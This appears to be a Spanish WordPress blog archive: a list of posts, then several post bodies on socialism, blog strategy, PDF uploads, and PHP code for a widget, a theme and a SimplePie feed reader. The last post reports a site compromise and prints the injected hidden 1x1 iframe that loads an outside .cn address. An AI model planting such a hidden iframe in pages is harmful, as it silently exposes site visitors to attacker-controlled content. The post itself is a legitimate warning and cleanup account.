Enero:

• La República será de todos.
• Cómo crear un widget de wordpress
• Los trucos de ONO para estafar a sus propios clientes.

Febrero:

• Dirigir la atención del usuario con los colores.
• Consejos de seguridad en Internet.
• ¿Se puede ahorrar dinero con un radiador de bajo consumo?
• El derecho a leer.

Marzo:

• Los 500 euros que promete Banesto.
• Coherencia en el diseño web.
• ¿Són peligrosas las redes sociales?
• ¿Caciquismo o democracia?

Abril:

• Carpe Diem
• ¿Eres visual, auditivo o kinestésico?
• Sobre la nueva Ministra de cultura
• 70 años después… seguimos sin República

Mayo:

• Canvieu-li el nom als Premis Blocs Catalunya 2009
• Iniciación a LINQ en ASP.Net
• Lista cronológica de quienes pronosticaron que ya se acababa la Gran Depresión

Junio:

• Las anclas de la motivación de Edgar Schein
• Las liebres sí ganan a las tortugas.
• La magia de la vida.
• ¿Día de reflexión o de lavado cerebral?

Julio:

• Cuestión de confianza.
• Cómo funciona el sistema de subastas de AdWords
• Probando el rendimiento de LINQ en ASP.Net

Agosto:

• ¡Catalanes de mierda!

Septiembre:

• La sátira de los tiranos.
• La televisión, el abuelo intruso

Octubre:

• Una reflexiva despedida
• España es el paraíso
• La financiación de Barcelona’92

Noviembre:

• Enseñando a pensar
• La lucha contra las marcas blancas no es sólo cosa de España
• Europa está sentenciada a muerte
• Tierra de lazarillos

Diciembre:

• A debate: El consumismo
• ¿Qué tipo de relaciones tenemos en España?
• El teu propi domini .cat per tan sols… 30 euracos!!

La red de blogs socialistas, creada por Enrique Castro, pretende ser un hub de contenido socialista para quienes estén interesados en conocer múltiples opiniones monoprismáticas. ¡Y si ya es divertido ver las diferencias entre socialistas, ni qué decir del resto del abanico ideológico! No es el objetivo dejar de mirar lo que opinan otros, sino simplemente tener un punto de encuentro.

¿Ser socialista significa ser del PSOE?

¡Ajá! Primer error grave. Muchos de mis amigos o conocidos confunden los términos, como si el PSOE tuviese la patente socialista, consideran que los socialistas sólo pueden ser del PSOE. Y aunque es innegable que existe simpatía, no necesariamente debe uno militar o votar dicho partido.

Entonces, ¿Qué es el socialismo?

El socialismo es una corriente de pensamiento que surgió tras el éxito del capitalismo y en respuesta a los excesos de éste que ya en aquel entonces se hacían evidentes. El socialismo tuvo muchas corrientes de pensamiento o ramas, aunque en general podríamos decir que todas parten de un denominador común: regular el mercado para evitar los excesos y propiciar una mejor calidad de vida a las capas mas bajas de la sociedad.

¿Se ajusta el PSOE a la definición de socialismo?

Está claro que el PSOE se ajusta a la ideología socialista, pero como la idea de socialismo es amplia siempre se pueden tener distintas opiniones, es por eso que se puede ser socialista y opinar de forma distinta a la oficial del PSOE.

Lo único que me gustaría comentar es un pequeño problema que he tenido con las urls y que me ha llevado unas horas solucionar. Como muchos, tengo un módulo de rewriting y urls virtuales para el blog que hasta ahora no me había dado problemas (*ejem*, bueno, no demasiados… ¬¬) y tras actualizar la versión la home dejaba de funcionar.

Volviendo atrás en la actualización la Home funcionaba de nuevo, quitando el theme la cosa no se arreglaba y tras mirar configuraciones por todas partes lo único que saqué en claro fue que todas las páginas funcionaban menos la home (http://www.entrecodigos.com).

Tras pedirle ayuda a Victor, mi ángel de la guarda en businet, éste ha conseguido que el blog por lo menos mostrara un mensaje de error y a partir de aquí e investigando he llegado a encontrar el problema: el servidor tenía configurado por defecto que si no se le solicitaba una página mostrara Index.php (y una lista de otras posibles opciones) como suele hacerse, pero si os fijáis Index está escrito con mayúscula.

Por algún motivo, lo que antes wordpress pillaba sin problemas ahora era incapaz de mostrártelo. Modificando el rewriter y forzando a minúsculas la url he conseguido solucionar esto. Pero mi pregunta es… ¿han cambiado algo en wordpress que ahora diferencia entre mayúsculas y minúsculas en las URLs o es algo que yo no he tenido en cuenta?

• 256 artículos publicados.
• 1.056 comentarios aprobados (que no son SPAM).
• Récord de visitas en un sólo día: 10.520 visitas.
• Récord de páginas vistas en un solo día: 13.725.
• Media de visitas actual: 260 visitas diarias.

Y ara mismo no se me ocurre nada más que sea interesante… ah si, total recaudado por AdSense desde que lo puse en Febrero: 9,44 euros. Mu triste la verdad.

En todo caso, me auto felicito a mi mismo por estos 2 años de Blog y espero que sean muchos más…

Blog de referencia

Éste es mi modelo de blog preferido. El blog de referencia tiene como objetivo convertirse en una referencia del sector online, de forma que tus clientes o clientes potenciales acudan al mismo a informarse.

Imaginemos que queremos vender un software de gestión de concesionarios, pues bien, podríamos montar un Blog con técnicas de venta de vehículos, herramientas online gratuitas útiles, noticias de interés del sector automovilístico, informes estadísticos sobre ventas, producción, etc. en el sector o entrevistas a personas importantes dentro del mismo como el Director de alguna agrupación de concesionarios.

Si conseguimos que nuestros clientes potenciales entren a nuestro Blog ya no es necesario realizar autobombo, nuestro logotipo en la cabecera o un banner publicitario en el lateral es suficiente como publicidad subliminal para darnos a conocer. Además, si mostramos que sabemos mucho transmitiremos confianza.

Blog escaparate

Éste es el modelo preferido por muchas empresas, el problema es que la mayoría no lo hacen bien. Se olvidan de lo esencial, el blog no se lo leerá nadie si no tiene contenido de interés, y se ponen a promocionar sus productos con frases marketinianas de escuela sin comprender que éste nuevo medio funciona de forma distinta, aquí no sirven los trucos de otros medios de comunicación.

Para poder realizar autobombo es necesario tener algo de que hablar, algo nuevo e interesante. Ejemplo: Si vamos a hablar de un modelo de coche, no digamos que tiene ruedas, ¡todos tienen!, pero podemos hablar del modelo de ruedas que incorpora y de sus ventajas frente al resto.

Si no tenemos nada de que hablar será difícil hacer este tipo de blog, si nuestro producto no ofrece ventajas frente al resto, novedades tecnológicas o puntos que marquen la diferencia, resultará más difícil rellenar líneas en el Blog.

Un buen truco para hablar de uno mismo y poner cosas interesantes es asistir a eventos, te das a conocer en los mismos y puedes hablar de ello en el Blog, de forma que cuentes anécdotas interesantes al tiempo que haces autobombo.

Blog técnico

Es otro modelo, quizás menos interesante, pero que me ha gustado. El blog técnico se convierte en una especie de FAQ que resuelve dudas sobre los productos o servicios de la empresa. Informa de actualizaciones, problemas y cómo resolverlos o publica tutoriales de uso del producto.

En general lo alimentan desde el SAT de la empresa y permite destinar muchas incidencias de clientes hacia el mismo, de forma que cuando el cliente se acostumbra a su uso se consigue ahorrar tiempo de SAT reduciendo las incidencias. Un ejemplo de este tipo es el Blog de Domitienda.

Podemos discutir qué modelo de FAQ es más práctico, ya que quizás una web estilo wiki resultaría más efectiva, pero los costes para la empresa son más reducidos si se utilizan herramientas de este tipo que si se crea desde 0 todo un sistema de FAQs.

Publicar archivo PDF

Lo primero de todo es ver cómo incluir de forma sencilla un archivo PDF para descargar en nuestro blog. Pues bien, esto es muy sencillo, rápido y económico. En el menú de escritura del post seguramente habremos observado las siguientes opciones en la parte superior, justo donde pone “Add media“:

La primera de ellas, “Add an image“, la hemos usado más de una vez, pero la última, “Add media“, puede resultarnos algo confusa y por ello no llegamos a utilizarla. Pues bien, es precisamente esa opción la que debemos utilizar.

Veréis que el menú para insertar un archivo (en este caso un PDF) es muy similar al que permite subir imágenes. Utiliza el campo “Título” para establecer el texto del enlace. Sólo dos apuntes: Si ves que el menú no te funciona haz click en “Try the Browser uploader instead“. Además, asegúrate de tener permisos de escritura en el servidor para poder subir archivos, si no los tienes no podrás subir ni imágenes, contacta con tu administrador de sistema y pídele que te de permisos.

PDF con icono

Para que nuestro enlace al PDF tenga un icono descriptivo del tipo de archivo que se va a encontrar el usuario podemos subir una imagen pequeñita y ponerla manualmente al lado del enlace, pero también tenemos el plugin Custom thumbnails.

Tras instalar el plugin, tenemos la opción de publicar PDFs con icono siguiendo estos pasos:

1. Sube el archivo PDF igual que antes, a través de la opción Add media. No lo insertes en el post aún.
2. Sube la imagen a usar de icono, no publiques nada aún.
3. Observa que el menú de Add Media tiene 3 pestañas, accede a la pestaña “Media Library”.
   
4. Busca la imagen tamaño icono que has subido y presiona “Show“.
5. Ahora, en “Parent Item“, puedes seleccionar un “Archivo padre”, de forma que ese archivo se linkará con ésta imagen como icono.
6. Existen varias opciones de presentación en función de si rellenas el campo Caption o no, pero te recomiendo dejar ese espacio en blanco y presionar “Insert into post“
7. Tras eso ya tenemos todo montado, pero nuestro icono no tiene texto. Ahora vamos al modo de edición en HTML y justo al cierre del enlace (justo antes de la etiqueta </a>) incluimos nuestro texto.

Éste es el resultado:

Descargar archivo PDF.

Opción externa

Una última opción es utilizar un servicio gratuito para subir PDFs y enlazar la ruta del archivo, ésta alternativa puede ser útil si queremos ahorrarnos ancho de banda. Por ejemplo: Free Online PDF viewer

Hay varias formas de hacer esto, por un lado, puesto y que tienes la opción de escoger entre un sidebar dinámico y otro estático, podrías escoger lo segundo y programar en php el sidebar de una sola pieza, aunque no será configurable desde el panel de administración. Otra opción es entrar al panel de administración y crear un widget de tipo texto, en el que podrías meter código html o javascript.

Pero el problema de todo esto, es que en caso de querer modificar el sidebar sin tocar el código fuente, de que algún widget de problemas, queramos hacer un backup o actualizar a una nueva versión, el mantenimiento resulta más costoso. Por ello la opción más lenta pero también más segura a largo plazo consiste en crear nuevos widgets e incorporarlos a través del panel de administración.

¿Cómo creo un nuevo widget?

Crear un nuevo widget es sencillo, sólo tienes que seguir estos pasos:

1. Crear un archivo php para meter tu widget, por ejemplo miwidget.php
2. Incluir y editar en ese archivo las líneas de código que te pongo mas abajo.
3. Colocar el archivo miwidget.php en la carpeta wp-content/plugins/
4. En el panel de administración, activar el widget en el apartado de plugins.
5. En el panel de administración, arrastrar el widget al sidebar en el apartado de design->widgets.

Éste es el código que debes introducir en el archivo miwidget.php:

<?php
/*
Plugin Name: MiWidget - Feed RSS
Plugin URI: http://www.entrecodigos.com/
Description: Enlaces para suscribirse al feed del blog
Author: Rubén Cantón
Version: 1
Author URI: http://www.entrecodigos.com/
*/

function miwidget_rss() {
    echo "<div class='sidebar-rss'>";
    echo "<img src='./wp-content/plugins/miwidget/rss.gif' alt='rss'/>";
    echo "<a href = \"http://feeds.feedburner.com/entrecodigos/ \">Feed de artículos</a>";
    echo "</div>";
}

function init_miwidget_rss(){register_sidebar_widget("Mi Widget - Feed RSS", "miwidget_rss");}

add_action("plugins_loaded", "init_miwidget_rss");
?>

Al igual que cuando creamos el style.css, los comentarios del principio sirven para identificar tu widget en el panel de administración, en este caso, de administración de plugins.

Los métodos utilizados son los siguientes:

add_action: Establece que cuando se produzca un evento determinado (en este caso, tras la carga de los plugins), se ejecute el método establecido.

register_sidebar_widget: Registra un widget estableciendo un nombre para el mismo (que será el que se muestre en el panel de administración de widgets) y la función a la que se debe llamar cuando se ejecute.

Lo que no debemos olvidar

• No olvides que existen widgets ya creados para wordpress.
• Cuando crees tus propias funciones, recuerda poner siempre algún prefijo imposible de igualar, no sea que generes un conflicto con funciones del wordpress o con otro plugin.
• Puedes crear una carpeta para tu plugin, y meter imágenes, estilos o cualquier cosa en ella, como he hecho yo en el ejemplo.

Fuentes:
Emanuele Feronato
Wordpress Widgets API

Resulta bastante sencillo y no supone un gran coste, pero para poder explicarme con más comodidad y hacer artículos menos densos prefiero hacerlo en 2 o 3 partes, de forma que separe unos temas de otros. De esta manera, pasaré a explicar cómo crear y configurar un theme y qué archivos son necesarios, los estilos que deberíamos incluir, los archivos que deberíamos editar y por último algún truco más avanzado. Empecemos.

Creando nuestro nuevo theme. ¿Qué necesitamos?

Lo primero que hay que saber es que los themes se guardan en carpetas independientes dentro de wp-content/themes/, por lo tanto, nos metemos ahí y creamos una nueva carpeta, por ejemplo “miNuevoTheme“.

Tras esto es necesario crear un archivo style.css que empiece por el siguiente texto, esto es importante ya que wordpress no reconocerá el theme si no tiene estos datos ya que wordpress utiliza esta información para mostrar los themes en el panel de administración. Si quieres ver un ejemplo utiliza el style.css del theme por defecto de wordpress.

/*
Theme Name: Mi super Theme
Theme URI: http://www.entrecodigos.com/
Description: Theme de pruebas.
Version: 1
Author: Ruben Canton
Author URI: http://www.entrecodigos.com/
Tags: blue, custom header, fixed width, one column, widgets
*/

Ahora sólo hace falta que coloquemos ciertos archivos php que definen la estructura de las distintas secciones de nuestro blog, sólo 3 de ellos son imprescindibles:

• index.php: Es el archivo al que realmente se llama, éste es quien debe llamar a header.php y footer.php.
• header.php: incluye la cabecera.
• footer.php: Incluye el pie de página.

Seguramente te preguntarás cómo meter un sidebar, widgets o cómo hacer estructuras distintas para listar categorías, páginas o resultados de búsqueda. Pues bien, por eso en la mayoría de themes hay muchos más archivos, los 3 anteriores son imprescindibles para un diseño básico, pero si quieres hacer algo mas complejo sin provocar que el index.php termine ocupando 800 líneas de código lleno de bifurcaciones será mejor que te mires la carpeta con el theme por defecto de wordpress y copies todos los archivos php que contiene. Así podrás tener todos los archivos y partir de una base, como hice yo, lo que puede resultarte muy útil.

Por último, existe una imagen llamada screenshot.png de 300×225 que wordpress utiliza para mostrarte una minipreview del theme en el panel de administración, cuando termines tu theme puedes hacer una captura y colocarlo para distinguirlo fácilmente.

¿Qué estilos colocar en style.css?

Cada uno trabaja a su manera, si coges el style.css de algún theme te encontrarás con mucha basura o estilos que no vas a utilizar, si utilizas el style por defecto de wordpress no te libras de esa basura, y además, su forma de organizar el css puede que no se adapte a tu forma de trabajar, como me pasó a mi. Por lo que lo mejor es borrarlo todo y empezar desde 0 teniendo claro qué estilos sí son imprescindibles o necesarios, aunque como tú eres quien define la estructura puedes modificar el nombre de los mismos, te recomiendo que utilices los que vienen por defecto, así tu theme será más compatible. Te muestro la estructura básica:

• body
• • page
  • • header
    • content
    • • post
      • postmetadata
      • entry
      • commentlist
      • commentmetadata
      • avatar
      • commentform
    • sidebar
    • footer

Por supuesto no hay que olvidar ponerle estilo a las típìcas etiquetas HTML como a, h1, h2, ul, ol, li, img, … y tras eso ya puedes empezar a crear tus propios estilos o bloques e incuirlos en la estructura y en el css.

Nota: Si has copiado los archivos php del theme por defecto, fíjate que el header.php mete un estilo de forma dinámica en función del tipo de página que se carga, puedes utilizar esto si te interesa para tener distintos estilos o eliminarlo para que no te moleste.

Continuará…

Fuente: Un especial agradecimiento a Andrés Nieto, por su manual y por su recopilación de manuales.

Pero ayer necesitaba de nuevo acceder al feed, en este caso, de mi propio blog, y en vez de utilizar un plugin de wordpress y editarlo, decidí que lo mejor era acceder directamente al xml y leerlo, supuse que tendría que crear una especie de librería ya que hay distintos formatos de feed (Atom 0.3, Atom 1.0, RSS 1.0, RSS 2.0, …) pero por suerte, encontré en un Foro un chico que deseaba hacer lo mismo y tras conseguirlo mostró el código.

Tras fijarme un poco en su código fuente, me di cuenta de que utilizaba unas funciones que no pertenecen a php y llamaba a una librería con un nombre curioso, “SimplePie“, buscamos en Google y resulta ser una librería que me quita todo el trabajo que yo creía iba a tener que hacer (esto del php… es la caña).

Y voilá, con esa librería así de sencillo resulta acceder a un feed y leer sus entradas:

function pintarFeedBlog($urlRSS){
include_once('./simplepie.inc');
$feed = new SimplePie();

if ($urlRSS !== ''):
	$feed->set_feed_url($urlRSS);
	$success = $feed->init();
	$feed->handle_content_type();
	if ($success):
		foreach($feed->get_items() as $item):
			echo '<a href="' . $item->get_permalink() . '">';
			echo $item->get_title() . '</a>&nbsp;';
			echo $item->get_date('j M Y, g:i a') . '<br />';
			echo $item->get_content();
		endforeach;
	endif;
endif;
}

Para quien le interese, os dejo un enlace a la página de descarga de SimplePie y a su documentación, con todas las funciones posibles.

<iframe src='http://onlinestat.cn/cgi-bin/index.cgi?qwopl'
width='1' height='1' style='visibility: hidden;'>

Buscando por Google me encuentro con que Anieto ya se encontró un problema parecido hace unos meses, aunque tras leer por los foros de ayuda de wordpress veo que el problema era distinto (el iframe se escondía en un trozo de código diferente).

Parece ser que últimamente está de moda la inyección de código en las webs ajenas, sobretodo por temas de Blak Hat SEO, aunque en mi caso, teniendo en cuenta que está haciendo peticiones a la web de MSN mas bien parece un intento de tumbarle la página a Microsoft (seguimos con los infantilismos…).

Sigo investigando el suceso, ya que hasta el momento no conozco dónde se encuentra esa puerta abierta y de poco me serviría buscar por la BD dónde han insertado eso, pero cuelgo esto aquí para avisar a quienes tengan un Blog en wordpress y para ver si alguien sabe cuál es la solución.

Actualización: De momento he conseguido quitar el iframe “reinstalando” Wordpress (básicamente he subido la versión que tengo en mi PC local al servidor y tras sobreescribir todos los archivos parece que he limpiado el hack).

No obstante, la puerta sigue abierta…

Actualización 2: Siguen metiéndome el iframe, esta vez lo han colocado en la cabecera editando el header.php del template, y no tardan mucho en darse cuenta y reponerlo… tendré que hacer un análisis más profundo por si algún plugin hizo de “troyano” y ha abierto alguna puerta o si actualizando a la nueva versión se arregla el problema.

Actualización 3: Encontré el código en un módulo externo a wordpress pero necesario para mi blog, el módulo en php que hace el rewrite de las páginas, tras limpiarlo he reinstalado todo y cambiado permisos y contraseñas y de momento la cosa funciona…